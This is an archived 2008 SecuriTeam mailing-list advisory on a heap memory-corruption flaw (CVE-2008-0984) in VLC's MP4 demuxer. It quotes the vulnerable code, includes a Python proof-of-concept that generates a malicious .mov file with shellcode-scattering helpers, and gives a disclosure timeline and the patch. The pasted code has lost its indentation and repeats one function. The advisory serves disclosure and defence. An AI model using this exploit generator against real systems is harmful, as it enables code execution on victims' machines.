

[NEWS] VLC Media Player Chunk Context Validation Error

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-03/msg00014.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 6 Mar 2008 18:15:30 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

VLC Media Player Chunk Context Validation Error

SUMMARY

VLC player [1] is an open-source popular multimedia player for various audio and video formats, and various streaming protocols. It can also be used as a server to stream in unicast or multicast in IPv4 or IPv6 on a high-bandwidth network.

The VideoLAN (VLC) media player package is vulnerable to an arbitrary memory corruption vulnerability, which can be exploited by malicious remote attackers to compromise a user's system. The vulnerability is caused due to the VLC ('demux/mp4/mp4.c') library not properly sanitizing certain tags on a MOV file before using them to index an array on the heap. This can be exploited to get arbitrary code execution by opening a specially crafted file.

DETAILS

Vulnerable Systems:

- * VLC version 0.8.6d and prior
- * Miro Player version 1.1 and prior (uses VLC code)

[NEWS] VLC Media Player Chunk Context Validation Error

Immune Systems:

* VLC version 0.8.6e

Vendor Information, Solutions and Workarounds

The VideoLAN project has issued a security advisory describing this vulnerability [2], partially quoted below.

VLC media player's MPEG-4 file format parser (a.k.a. the MP4 demuxer) suffers from an arbitrary memory overwrite vulnerability when using specially crafted (invalid) MP4 input files. If successful, a malicious third party could trigger execution of arbitrary code within the context of the VLC media player, or otherwise crash the player instance.

Exploitation of the MP4 demuxer problem requires the user to explicitly open a specially crafted file. The user should refrain from opening files from untrusted third parties or accessing untrusted Web sites (or disable the VLC browser plugins), until the patch is applied.

VLC media player 0.8.6e addresses these issues and introduces further usability fixes. The source code patch can be downloaded separately here [3]. Pre-compiled packages will be available at the usual download locations shortly.

Technical Description / Proof of Concept Code

The vulnerability resides in the following code at 'demux/mp4/mp4.c'. User supplied data is used to initialize an arbitrary index of a heap array.

/-----

```
910 if( ( !(p_co64 = MP4_BoxGet( p_demux_track->p_stbl, "stco" ) )&&
911 !(p_co64 = MP4_BoxGet( p_demux_track->p_stbl, "co64" ) ) )||
912 ( !(p_stsc = MP4_BoxGet( p_demux_track->p_stbl, "stsc" ) ) ) )
913 {
914 return( VLC_EGENERIC );
915 }
```

...

```
943 i_last = p_demux_track->i_chunk_count; /* last chunk preceded */
944 i_index = p_stsc->data.p_stsc->i_entry_count;
945 if( !i_index )
946 {
947 msg_Warn( p_demux, "cannot read chunk table or table empty" );
948 return( VLC_EGENERIC );
949 }
950
951 while( i_index-- )
952 {
953 for( i_chunk = p_stsc->data.p_stsc->i_first_chunk[i_index] - 1;
954 i_chunk < i_last; i_chunk++ )
955 {
```

[NEWS] VLC Media Player Chunk Context Validation Error

```
956 p_demux_track->chunk[i_chunk].i_sample_description_index =
957 p_stsc->data.p_stsc->i_sample_description_index[i_index];
958 p_demux_track->chunk[i_chunk].i_sample_count =
959 p_stsc->data.p_stsc->i_samples_per_chunk[i_index];
960 }
961 i_last = p_stsc->data.p_stsc->i_first_chunk[i_index] - 1;
962 }
```

-----/

At line '910/912', the 'MP4_BoxGet()' function reads data from the file and returns a structure of type 'MP4_Box_t' with the field 'i_chunk_count' controlled by the user without properly checking the value.

This value will be used later (at line '956' and '958') within a for statement to index an array and consequently filling the heap buffer, but due to the fact that 'i_last' (controlled by user) is used as a limit for the writing without any kind of check it is possible to write any value on almost any memory address.

It is important to note that 'i_last' is not fully controlled by the attacker in the first iteration but as seen in code at line '961' it gets the value of 'p_stsc->data.p_stsc->i_first_chunk[i_index] - 1' which is one of the controlled fields.

We say almost because in each assignation the user have great control of the values of 'i_sample_description_index' and 'i_sample_count' fields, making it possible to write 8 contiguous bytes every 44 bytes.

This is the structure definition:

/-----

```
/* Contain all information about a chunk */
typedef struct
{
uint64_t i_offset; /* absolute position of this chunk in the file
*/
uint32_t i_sample_description_index; /* index for SampleEntry to
use */
uint32_t i_sample_count; /* how many samples in this chunk */
uint32_t i_sample_first; /* index of the first sample in this
chunk */

/* now provide way to calculate pts, dts, and offset without to
much memory and with fast acces */

/* with this we can calculate dts/pts without waste memory */
uint64_t i_first_dts;
uint32_t *p_sample_count_dts;
```

[NEWS] VLC Media Player Chunk Context Validation Error

```
uint32_t *p_sample_delta_dts; /* dts delta */

uint32_t *p_sample_count_pts;
int32_t *p_sample_offset_pts; /* pts-dts */

/* TODO if needed add pts
but quickly *add* support for edts and seeking */

} mp4_chunk_t;

-----/
```

In this way, as we demonstrate in the following proof of concept (PoC), it is possible to build a file that contains specially crafted 'stsc' and 'co64' atoms allowing an attacker to write any value in practically any address.

Understanding this, it is possible to patch some critical memory address to get code execution. And with some voodoo magic, to write a scattered payload that builds a fully functional shellcode on some other place to subsequently jump to.

The following python code will generate a .mov file proving the memory corruption sometimes overwriting function pointers (tested on a Gentoo Linux). More efforts can be made to craft a quicktime movie file that allocates heap in a more predictive way, so the array that we can freely index is placed in a deterministic predefined way leading to a more reliable function pointer overwriting.

```
/-----

#vlc_poc.py:

import struct
import sys

class mov_exploit:
def
__init__(self,blocksize,gotbase,gotsize,shellcodebase=None,arch='win32'):

self.arch=arch
self.blocksize=blocksize
self.gotbase=gotbase
self.gotsize=gotsize
if shellcodebase!=None:
self.shellcodebase=shellcodebase
else:

self.shellcodebase=self.revert_calc(self.make_calc(self.gotbase+self.gotsize+100))
```

[NEWS] VLC Media Player Chunk Context Validation Error

```
mdat = self.mkatom("mdat","MALDAAAAAD!")
mvhd = self.mkatom("mvhd", "A"*100)

WW = []
jmpaddress = struct.pack(">L",0x42424242)

maximo=-52000
minimo=-51000

WW.append((maximo,jmpaddress*2))
WW.append((minimo,jmpaddress*2))

stscjmp = self.mkatom("stsc",self._mkstsc(WW))
trakjmp = self._mktrak(stscjmp)

moov = self.mkatom("moov",trakjmp+mvhd)
ftyp =
self.mkatom("ftyp","3gp4"+'\x00\x00\x02\x00'+ "3gp4"+"3gp33gp23gp1")
self.file = ftyp+mdat+moov

def __str__(self):
return self.file

def mkatom(self,type,data):
if len(type) != 4:
raise "type must be of length 4!!!"
mov = ""
mov += struct.pack(">L",len(data)+8)
mov += type
mov += data
return mov

def make_calc(self,x):
r3t =(((x-4) / self.blocksize) + 1)
return r3t

def revert_calc(self,x):
r = (self.blocksize * (x-1)) + 4
return r

def _reverse(self,s):
l = list(s)
l.reverse()
return "".join(l)

def _mkstsc(self,l):

r3t = ""
r3t += struct.pack(">L",1)
r3t += struct.pack(">L",len(l)+1)
oldwhere = 0
```

[NEWS] VLC Media Player Chunk Context Validation Error

```
for where, what in l:
oldwhere = where
if len(what) != 8:
raise "Wrong what leng"
r3t += struct.pack(">L",where) + what #self._reverse(what)

r3t += struct.pack(">L",where + 1) + "FELISCCC"
return r3t
```

```
def _mkstsc(self,l):

r3t = ""
r3t += struct.pack(">L",1) #version, format needed
r3t += struct.pack(">L",len(l)+1) #number of stsc chunks

oldwhere = 0
for where, what in l:
oldwhere = where
if len(what) != 8:
raise "Wrong what leng %d"%len(what)
r3t += struct.pack(">L",where) + what #self._reverse(what)

r3t += struct.pack(">L",where + 1) + "FELISaLS"
return r3t
```

```
def _pack(self,s):
if len(s) != 8:
raise "Wrong size!"
return s[3]+s[2]+s[1]+s[0]+s[7]+s[6]+s[5]+s[4]
```

```
def _pack4(self,s):
if len(s) != 4:
raise "Wrong size!"
return s[3]+s[2]+s[1]+s[0]
```

```
def _mkshellcode(self,payload):

if len(payload) % 4:
payload += "X" * (4 - len(payload) % 4)
payload = self._reverse(payload)
```

```
movesp = '\xbc'
push = '\x68'
jumps = '\xeb'
nop = '\x90'
```

```
shellcode = []
```

```
scode = ""
```

[NEWS] VLC Media Player Chunk Context Validation Error

```
scode += movesp +
struct.pack("<L",4+self.shellcodebase+(len(payload)/4)*self.blocksize+len(payload)+1)
scode += nop*(8-(len(scode)+2))
scode += jmps + struct.pack("B",self.blocksize-8)
shellcode.append(scode)
```

```
for i in range(0,len(payload),4):
scode = ""
scode += push + self._pack4(payload[i:i+4])
scode += nop*(8-(len(scode)+2))
scode += jmps + struct.pack("B",self.blocksize-8)
shellcode.append(scode)
```

```
return shellcode
```

```
def _mktrak(self,stsc):
tkhd = self.mkatom("tkhd", "A"*100)
hdr = self.mkatom("hdr", "\x00"*4+"mhlrtxt"+"appl"+"x00"*9)
mdhd = self.mkatom("mdhd", "A"*100)
co64 = self.mkatom("co64", struct.pack(">L",10) +
struct.pack(">L",2) + "A"*100)
stbl = self.mkatom("stbl",self.mkatom("stsd","UFFFF") + co64+
stsc)
minf = self.mkatom("minf",stbl)
mdia = self.mkatom("mdia",minf+mdhd+hdr)
trakjmp = self.mkatom("trak",mdia+tkhd+mdia)
return trakjmp
```

```
try:
binary_file = mov_exploit(20,0x872e0f8,3996,arch="linux").__str__()
file = open(sys.argv[1], "wb")
file.write(binary_file)
file.close()
print "[+] File %s already generated" % sys.argv[1]
except:
print "[+] Usage: python vlc_poc.py anyname.mov"
```

-----/

CVE Information:

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0984>>
CVE-2008-0984

Report Timeline

2008-02-05: VLC team is notified that there is a vulnerability.

2008-02-07: VLC team acknowledges and requests the draft.

2008-02-07: Core sends the draft of advisory CORE-2008-0130 to the VLC team.

[NEWS] VLC Media Player Chunk Context Validation Error

2008-02-08: VLC team applies a patch [4] to fix the bug.

2008-02-11: Core suggests to the VLC team another patch after the calloc (at line 923) to avoid the possible null pointer reference, for completeness.

2008-02-12: Core notifies Miro player team that their software is also affected by the security bug in VLC 0.8.6b.

2008-02-12: Miro player team acknowledges and says that they have already moved to VLC 0.8.6c.

2008-02-12: Core confirms Miro player team that VLC versions 0.8.6d and earlier are affected, and includes information about the patches in VLC code.

2008-02-18: Core asks to the VLC team if there will a release available on the estimated publication date February 27th, 2008.

2008-02-07: VLC team confirms that release 0.8.6e will be available on February 27th.

2008-02-27: Advisory CORE-2008-0130 is published.

References

- [1] <<http://www.videolan.org/vlc>> <http://www.videolan.org/vlc>
- [2] <<http://www.videolan.org/security/sa0802.html>>
<http://www.videolan.org/security/sa0802.html>
- [3] <<http://www.videolan.org/patches/vlc-0.8.6-CORE-2008-0130.patch>>
<http://www.videolan.org/patches/vlc-0.8.6-CORE-2008-0130.patch>
- [4] <<https://trac.videolan.org/vlc/changeset/24944>>
<https://trac.videolan.org/vlc/changeset/24944>

ADDITIONAL INFORMATION

The information has been provided by <<mailto:advisories@xxxxxxxxxxxxxxxx>>
Core Security Technologies Advisories.
The original article can be found at:
<<http://www.coresecurity.com/?action=item&id=2147>>
<http://www.coresecurity.com/?action=item&id=2147>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.